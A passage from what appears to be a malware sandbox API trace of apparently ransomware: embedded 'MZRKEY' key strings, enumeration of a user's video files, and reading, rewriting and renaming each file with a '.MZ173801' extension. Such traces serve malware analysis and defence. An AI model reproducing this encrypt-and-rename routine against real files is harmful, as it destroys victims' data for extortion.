WbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0165.980] GetCurrentThreadId () returned 0xab4 [0165.980] GetCurrentThreadId () returned 0xab4 [0165.980] GetCurrentThreadId () returned 0xab4 [0165.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0165.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0165.981] GetCurrentThreadId () returned 0xab4 [0165.981] GetCurrentThreadId () returned 0xab4 [0165.981] GetCurrentThreadId () returned 0xab4 [0165.981] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\7LaZ6FmIScNU.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\7laz6fmiscnu.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0165.982] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0165.982] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0165.982] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x61d [0165.982] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0165.982] ReadFile (in: hFile=0x27c, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f480*=0x61d, lpOverlapped=0x0) returned 1 [0165.983] CloseHandle (hObject=0x27c) returned 1 [0165.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\7LaZ6FmIScNU.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\7laz6fmiscnu.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0165.985] WriteFile (in: hFile=0x27c, lpBuffer=0x24aafa0*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24aafa0*, lpNumberOfBytesWritten=0x19f48c*=0x61d, lpOverlapped=0x0) returned 1 [0165.987] CloseHandle (hObject=0x27c) returned 1 [0165.990] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\7LaZ6FmIScNU.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\7laz6fmiscnu.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\7LaZ6FmIScNU.swf.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\7laz6fmiscnu.swf.mz173801")) returned 1 [0165.991] GetCurrentThreadId () returned 0xab4 [0165.991] GetCurrentThreadId () returned 0xab4 [0165.991] GetCurrentThreadId () returned 0xab4 [0165.991] GetCurrentThreadId () returned 0xab4 [0165.991] GetCurrentThreadId () returned 0xab4 [0165.991] GetCurrentThreadId () returned 0xab4 [0165.991] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7826500, ftCreationTime.dwHighDateTime=0x1d5eef0, ftLastAccessTime.dwLowDateTime=0x63fd1490, ftLastAccessTime.dwHighDateTime=0x1d5eeb1, ftLastWriteTime.dwLowDateTime=0x63fd1490, ftLastWriteTime.dwHighDateTime=0x1d5eeb1, nFileSizeHigh=0x0, nFileSizeLow=0x2d6a, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="pa0XQGFgpgnvg.flv", cAlternateFileName="PA0XQG~1.FLV")) returned 1 [0165.991] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0165.991] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0165.991] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pa0XQGFgpgnvg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\pa0xqgfgpgnvg.flv"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7826500, ftCreationTime.dwHighDateTime=0x1d5eef0, ftLastAccessTime.dwLowDateTime=0x63fd1490, ftLastAccessTime.dwHighDateTime=0x1d5eeb1, ftLastWriteTime.dwLowDateTime=0x63fd1490, ftLastWriteTime.dwHighDateTime=0x1d5eeb1, nFileSizeHigh=0x0, nFileSizeLow=0x2d6a)) returned 1 [0165.992] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pa0XQGFgpgnvg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\pa0xqgfgpgnvg.flv")) returned 0x20 [0165.992] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pa0XQGFgpgnvg.flv", dwFileAttributes=0x80) returned 1 [0165.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0165.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0165.994] GetCurrentThreadId () returned 0xab4 [0165.994] GetCurrentThreadId () returned 0xab4 [0165.994] GetCurrentThreadId () returned 0xab4 [0165.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0165.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 